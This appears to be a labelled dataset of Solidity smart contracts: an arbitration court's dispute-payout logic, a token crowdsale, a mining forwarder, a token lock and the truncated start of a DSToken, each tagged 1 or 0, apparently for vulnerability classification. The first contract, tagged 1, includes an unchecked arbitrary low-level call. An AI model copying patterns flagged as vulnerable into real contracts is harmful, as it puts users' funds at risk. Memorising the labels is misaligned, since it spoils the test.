function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state <= DisputeState.Resolving);
require(dispute.session+dispute.appeals <= session);
dispute.state = DisputeState.Resolving;
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
uint currentIterations = 0;
for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) {
if (dispute.appealsRepartitioned.length < i+1) {
dispute.appealsRepartitioned.length++;
}
if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) {
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) {
for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
dispute.appealsRepartitioned[i].totalToRedistribute += penalty;
} else {
++dispute.appealsRepartitioned[i].nbCoherent;
}
++dispute.appealsRepartitioned[i].currentIncoherentVote;
++currentIterations;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) {
if (dispute.appealsRepartitioned[i].nbCoherent == 0) {
jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute;
TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute));
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
} else {
uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent;
for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
++currentIterations;
++dispute.appealsRepartitioned[i].currentCoherentVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) {
for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
++currentIterations;
++dispute.appealsRepartitioned[i].currentAtStakeVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) {
++dispute.currentAppealToRepartition;
}
}
dispute.state = DisputeState.Executable;
}
function amountJurors(uint _disputeID) public view returns (uint nbJurors) {
Dispute storage dispute = disputes[_disputeID];
return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1;
}
function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) {
uint draw = 0;
Juror storage juror = jurors[_jurorAddress];
Dispute storage dispute = disputes[_disputeID];
uint nbJurors = amountJurors(_disputeID);
if (juror.lastSession != session) return false;
if (dispute.session+dispute.appeals != session) return false;
if (period <= Period.Draw) return false;
for (uint i = 0; i < _draws.length; ++i) {
if (_draws[i] <= draw) return false;
draw = _draws[i];
if (draw > nbJurors) return false;
uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize;
require(position >= juror.segmentStart);
require(position < juror.segmentEnd);
}
return true;
}
function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) {
uint16 nbJurors = extraDataToNbJurors(_extraData);
require(msg.value >= arbitrationCost(_extraData));
disputeID = disputes.length++;
Dispute storage dispute = disputes[disputeID];
dispute.arbitrated = Arbitrable(msg.sender);
if (period < Period.Draw)
dispute.session = session;
else
dispute.session = session+1;
dispute.choices = _choices;
dispute.initialNumberJurors = nbJurors;
dispute.arbitrationFeePerJuror = arbitrationFeePerJuror;
dispute.votes.length++;
dispute.voteCounter.length++;
DisputeCreation(disputeID, Arbitrable(msg.sender));
return disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) {
super.appeal(_disputeID,_extraData);
Dispute storage dispute = disputes[_disputeID];
require(msg.value >= appealCost(_disputeID, _extraData));
require(dispute.session+dispute.appeals == session);
require(dispute.arbitrated == msg.sender);
dispute.appeals++;
dispute.votes.length++;
dispute.voteCounter.length++;
}
function executeRuling(uint disputeID) public {
Dispute storage dispute = disputes[disputeID];
require(dispute.state == DisputeState.Executable);
dispute.state = DisputeState.Executed;
dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice);
}
function arbitrationCost(bytes _extraData) public view returns (uint fee) {
return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) {
Dispute storage dispute = disputes[_disputeID];
if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT;
return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror;
}
function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) {
if (_extraData.length < 2)
return defaultNumberJuror;
else
return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]);
}
function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) {
return (alpha * minActivatedToken) / ALPHA_DIVISOR;
}
function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) {
return disputes[_disputeID].votes[_appeals][_voteID].account;
}
function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) {
return disputes[_disputeID].votes[_appeals][_voteID].ruling;
}
function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) {
return disputes[_disputeID].voteCounter[_appeals].winningChoice;
}
function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) {
return disputes[_disputeID].voteCounter[_appeals].winningCount;
}
function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) {
return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice];
}
function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) {
return disputes[_disputeID].lastSessionVote[_juror];
}
function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[_juror];
if (juror.lastSession != session
|| (dispute.session+dispute.appeals != session)
|| period<=Period.Draw
|| _draw>amountJurors(_disputeID)
|| _draw==0
|| segmentSize==0
) {
return false;
} else {
uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize;
return (position >= juror.segmentStart) && (position < juror.segmentEnd);
}
}
function currentRuling(uint _disputeID) public view returns (uint ruling) {
Dispute storage dispute = disputes[_disputeID];
return dispute.voteCounter[dispute.appeals].winningChoice;
}
function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) {
Dispute storage dispute = disputes[_disputeID];
if (dispute.session+dispute.appeals < session)
return DisputeStatus.Solved;
else if(dispute.session+dispute.appeals == session) {
if (dispute.state == DisputeState.Open) {
if (period < Period.Appeal)
return DisputeStatus.Waiting;
else if (period == Period.Appeal)
return DisputeStatus.Appealable;
else return DisputeStatus.Solved;
} else return DisputeStatus.Solved;
} else return DisputeStatus.Waiting;
}
function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor {
_target.call.value(_value)(_data);
}
function setRng(RNG _rng) public onlyGovernor {
rng = _rng;
}
function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor {
arbitrationFeePerJuror = _arbitrationFeePerJuror;
}
function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor {
defaultNumberJuror = _defaultNumberJuror;
}
function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor {
minActivatedToken = _minActivatedToken;
}
function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor {
timePerPeriod = _timePerPeriod;
}
function setAlpha(uint _alpha) public onlyGovernor {
alpha = _alpha;
}
function setMaxAppeals(uint _maxAppeals) public onlyGovernor {
maxAppeals = _maxAppeals;
}
function setGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
} | 1 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract RestartEnergyToken is MintableToken, PausableToken {
string public name = "RED MegaWatt Token";
string public symbol = "MWAT";
uint256 public decimals = 18;
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract TimedCrowdsale is Crowdsale, Ownable {
uint256 public presaleStartTime;
uint256 public presaleEndTime;
event EndTimeChanged(uint newEndTime);
event StartTimeChanged(uint newStartTime);
event PresaleStartTimeChanged(uint newPresaleStartTime);
event PresaleEndTimeChanged(uint newPresaleEndTime);
function setEndTime(uint time) public onlyOwner {
require(now < time);
require(time > startTime);
endTime = time;
EndTimeChanged(endTime);
}
function setStartTime(uint time) public onlyOwner {
require(now < time);
require(time > presaleEndTime);
startTime = time;
StartTimeChanged(startTime);
}
function setPresaleStartTime(uint time) public onlyOwner {
require(now < time);
require(time < presaleEndTime);
presaleStartTime = time;
PresaleStartTimeChanged(presaleEndTime);
}
function setPresaleEndTime(uint time) public onlyOwner {
require(now < time);
require(time > presaleStartTime);
presaleEndTime = time;
PresaleEndTimeChanged(presaleEndTime);
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract TokenCappedCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public hardCap;
uint256 public totalTokens;
function TokenCappedCrowdsale() internal {
hardCap = 400000000 * 1 ether;
totalTokens = 500000000 * 1 ether;
}
function notExceedingSaleLimit(uint256 amount) internal constant returns (bool) {
return hardCap >= amount.add(token.totalSupply());
}
function finalization() internal {
super.finalization();
}
}
contract RestartEnergyCrowdsale is TimedCrowdsale, TokenCappedCrowdsale, Pausable {
uint256 public presaleLimit = 10 * 1 ether;
uint16 public basicPresaleRate = 120;
uint256 public soldTokens = 0;
uint16 public etherRate = 100;
address public tokensWallet;
mapping(address => uint256) public purchasedAmountOf;
mapping(address => uint256) public tokenAmountOf;
function RestartEnergyCrowdsale(uint256 _presaleStartTime, uint256 _presaleEndTime,
uint256 _startTime, uint256 _endTime, address _wallet, address _tokensWallet) public TokenCappedCrowdsale() Crowdsale(_startTime, _endTime, 100, _wallet) {
presaleStartTime = _presaleStartTime;
presaleEndTime = _presaleEndTime;
tokensWallet = _tokensWallet;
}
function createTokenContract() internal returns (MintableToken) {
return RestartEnergyToken(0x0);
}
function buildTokenContract() public onlyOwner {
require(token == address(0x0));
RestartEnergyToken _token = new RestartEnergyToken();
_token.pause();
token = _token;
}
function buy() public whenNotPaused payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public whenNotPaused payable {
require(!isFinalized);
require(beneficiary != address(0));
require(validPresalePurchase() || validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
require(validPurchase());
require(notExceedingSaleLimit(tokens));
weiRaised = weiRaised.add(weiAmount);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
purchasedAmountOf[msg.sender] = purchasedAmountOf[msg.sender].add(msg.value);
tokenAmountOf[msg.sender] = tokenAmountOf[msg.sender].add(tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function sendTokensToAddress(uint256 amount, address to) public onlyOwner {
require(!isFinalized);
require(notExceedingSaleLimit(amount));
tokenAmountOf[to] = tokenAmountOf[to].add(amount);
token.mint(to, amount);
}
function enableTokenTransfers() public onlyOwner {
require(isFinalized);
require(now > endTime + 15 days);
require(RestartEnergyToken(token).paused());
RestartEnergyToken(token).unpause();
}
bool public firstPartOfTeamTokensClaimed = false;
bool public secondPartOfTeamTokensClaimed = false;
function claimTeamTokens() public onlyOwner {
require(isFinalized);
require(!secondPartOfTeamTokensClaimed);
require(now > endTime + 182 days);
uint256 tokensToMint = totalTokens.mul(3).div(100);
if (!firstPartOfTeamTokensClaimed) {
token.mint(wallet, tokensToMint);
firstPartOfTeamTokensClaimed = true;
}
else {
require(now > endTime + 365 days);
token.mint(wallet, tokensToMint);
secondPartOfTeamTokensClaimed = true;
token.finishMinting();
}
}
function getRate() internal view returns (uint256) {
uint256 calcRate = rate;
if (validPresalePurchase()) {
calcRate = basicPresaleRate;
}
else {
uint256 daysPassed = (now - startTime) / 1 days;
if (daysPassed < 15) {
calcRate = 100 + (15 - daysPassed);
}
}
calcRate = calcRate.mul(etherRate);
return calcRate;
}
function setEtherRate(uint16 _etherRate) public onlyOwner {
etherRate = _etherRate;
}
function validPresalePurchase() internal constant returns (bool) {
bool withinPeriod = now >= presaleStartTime && now <= presaleEndTime;
bool nonZeroPurchase = msg.value != 0;
bool validPresaleLimit = msg.value >= presaleLimit;
return withinPeriod && nonZeroPurchase && validPresaleLimit;
}
function finalization() internal {
super.finalization();
uint256 toMintNow;
toMintNow = hardCap.sub(token.totalSupply());
token.mint(tokensWallet, toMintNow);
toMintNow = totalTokens.mul(14).div(100);
token.mint(tokensWallet, toMintNow);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function epochCount() public constant returns (uint);
function totalSupply() public constant returns (uint);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract mintForwarderInterface
{
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool success);
}
contract proxyMinterInterface
{
function proxyMint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
}
contract MiningKing {
using SafeMath for uint;
address public miningKing;
address public minedToken;
event TransferKing(address from, address to);
constructor(address mintableToken) public {
minedToken = mintableToken;
}
function() public payable {
revert();
}
function getKing() view public returns (address king)
{
return miningKing;
}
function transferKing(address newKing) public {
require(msg.sender == miningKing);
miningKing = newKing;
emit TransferKing(msg.sender, newKing);
}
function mintForwarder(uint256 nonce, bytes32 challenge_digest, address[] proxyMintArray) public returns (bool)
{
require(proxyMintArray.length > 0);
uint previousEpochCount = ERC918Interface(minedToken).epochCount();
address proxyMinter = proxyMintArray[0];
if(proxyMintArray.length == 1)
{
require(proxyMinterInterface(proxyMinter).proxyMint(nonce, challenge_digest));
}else{
address[] memory remainingProxyMintArray = popFirstFromArray(proxyMintArray);
require(mintForwarderInterface(proxyMinter).mintForwarder(nonce, challenge_digest,remainingProxyMintArray));
}
require( ERC918Interface(minedToken).epochCount() == previousEpochCount.add(1) );
bytes memory nonceBytes = uintToBytesForAddress(nonce);
address newKing = bytesToAddress(nonceBytes);
miningKing = newKing;
return true;
}
function popFirstFromArray(address[] array) pure public returns (address[] memory)
{
address[] memory newArray = new address[](array.length-1);
for (uint i=0; i < array.length-1; i++) {
newArray[i] = array[i+1] ;
}
return newArray;
}
function uintToBytesForAddress(uint256 x) pure public returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++) {
b[i] = byte(uint8(x / (2**(8*(31 - i)))));
}
return b;
}
function bytesToAddress (bytes b) pure public returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x8b96F8Cd22c3677c3391862Cd191A0643F0469B4;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract ERC20 {
function totalSupply() constant public returns (uint supply);
function balanceOf( address who ) constant public returns (uint value);
function allowance( address owner, address spender ) constant public returns (uint _allowance);
function transfer( address to, uint value) public returns (bool ok);
function transferFrom( address from, address to, uint value) public returns (bool ok);
function approve( address spender, uint value ) public returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant public returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public
auth
{
require(owner_ != address(0));
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
modifier authorized(bytes4 sig) {
assert(isAuthorized(msg.sender, sig));
_;
}
function isAuthorized(address src, bytes4 sig) view internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSStop is DSAuth, DSNote {
bool public stopped;
modifier stoppable {
assert (!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint256 x, uint256 y) pure internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) pure internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) pure internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) pure internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) pure internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) pure internal returns (uint256 z) {
return x >= y ? x : y;
}
function hadd(uint128 x, uint128 y) pure internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) pure internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) pure internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) pure internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) pure internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) pure internal returns (uint128 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) pure internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) pure internal returns (int256 z) {
return x >= y ? x : y;
}
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) pure internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) pure internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) pure internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) pure internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) pure internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) pure internal returns (uint128) {
return hmax(x, y);
}
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) pure internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) pure internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) pure internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) pure internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) pure internal returns (uint128 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) pure internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) pure internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) pure internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint256 supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public constant returns (uint256) {
return _supply;
}
function balanceOf(address src) public constant returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) public constant returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
string public name = "ERC20 CES";
